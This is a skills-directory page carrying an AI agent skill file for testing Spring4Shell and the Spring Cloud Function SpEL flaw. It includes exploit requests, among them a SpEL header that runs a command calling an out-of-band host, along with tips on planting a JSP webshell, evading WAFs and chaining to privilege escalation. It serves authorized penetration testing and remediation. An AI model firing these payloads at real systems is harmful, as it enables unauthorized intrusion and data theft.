Spring4Shell (CVE-2022-22965) Spring MVC/WebFlux data-binding RCE on JDK9+ WAR deployments, plus Spring Cloud Function SpEL RCE (CVE-2022-22963). Detection and safe non-destructive PoC. Tier 1 (RCE honors the authorization gate). Use on Spring Framework targets or when framework-rce routes here.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Spring4shell?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-spring4shell)
---
name: spring4shell
description: Spring4Shell (CVE-2022-22965) Spring MVC/WebFlux data-binding RCE on JDK9+ WAR deployments, plus Spring Cloud Function SpEL RCE (CVE-2022-22963). Detection and safe non-destructive PoC. Tier 1 (RCE honors the authorization gate). Use on Spring Framework targets or when framework-rce routes here.
---
# Spring4Shell (CVE-2022-22965) + Spring Cloud Function SpEL (CVE-2022-22963)
Spring4Shell abuses Spring's request data binding to reach `class.module.classLoader` and write a JSP webshell. The related Spring Cloud Function flaw evaluates attacker SpEL in a routing header.
## Trigger phrases
`spring4shell, cve-2022-22965, cve-2022-22963, spring rce, classloader, spring cloud function, spel header, spring data binding`
## Preconditions (confirm before exploiting)
CVE-2022-22965: Spring Framework **< 5.3.18 / < 5.2.20**, running on **JDK 9+**, packaged as a **traditional WAR on Apache Tomcat**, using Spring MVC/WebFlux form binding. (Default Spring Boot executable JAR is generally not exploitable.) CVE-2022-22963: Spring Cloud Function **< 3.1.7 / < 3.2.3**.
## Method
1. **Fingerprint:** Spring error pages, `JSESSIONID`, `/actuator`, whatweb; get version via `vulnerable-components`. Identify WAR-on-Tomcat deployment.
2. **Spring4Shell safe detection** — send the class-loader binding params; a non-vulnerable app ignores them, a vulnerable one accepts the binding (observable as a changed Tomcat access-log pattern / 200 vs 400 differential) WITHOUT writing a shell:
```
POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.URLs[0]=0
```
3. **Safe PoC (gated):** rather than a live webshell on prod, set a harmless log pattern/prefix to a unique marker and read it back, or deploy a shell that only echoes a random token to prove write+exec, then remove it. Public PoCs set Tomcat `AccessLogValve` pattern/suffix/dir to drop a JSP under the webroot.
4. **Spring Cloud Function (CVE-2022-22963) SpEL:** route-expression header evaluates SpEL — OAST-safe probe:
```
POST /functionRouter HTTP/1.1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"nslookup","<id>.OAST"})
Content-Type: text/plain
data
```
## Modern / rare techniques
- **Non-Tomcat containers / non-WAR**: binding may still be reachable via other class-loader gadgets — fingerprint the container; absence of a JSP webroot ≠ not vulnerable for the data-binding flaw.
- Confirm blind cases (22963) strictly via OAST before concluding.
## Bypass / evasion
WAFs key on `class.module.classLoader` — try case/`[]`-vs-`%5B%5D` encoding, nested binding paths. `${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md`, `${CLAUDE_PLUGIN_ROOT}/payloads/ssti.md` (SpEL gadgets).
## Escalation / chaining
JSP webshell / SpEL exec → RCE → `linux-privesc`/`windows-privesc`, secret read, `cloud-pentest` (IMDS). Related actuator SpEL → `api-security`.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP). nuclei `CVE-2022-22965`/`CVE-2022-22963` templates for triage; manual PoC via Burp Repeater. See `zazy-orchestrator`.
## Verification (background, before reporting)
Re-confirm with a second vantage: OAST callback (22963) or unique-token read-back (22965). Reproduce twice; remove any artifact written. Report true positives only.
## Evidence
Version proof, detection request/response differential, OAST hit or token read-back, confirming the version is in range. Remediation: upgrade Spring Framework ≥5.3.18/5.2.20 and Spring Cloud Function ≥3.1.7/3.2.3; disallow binding to `class.*`; JDK/WAR hardening.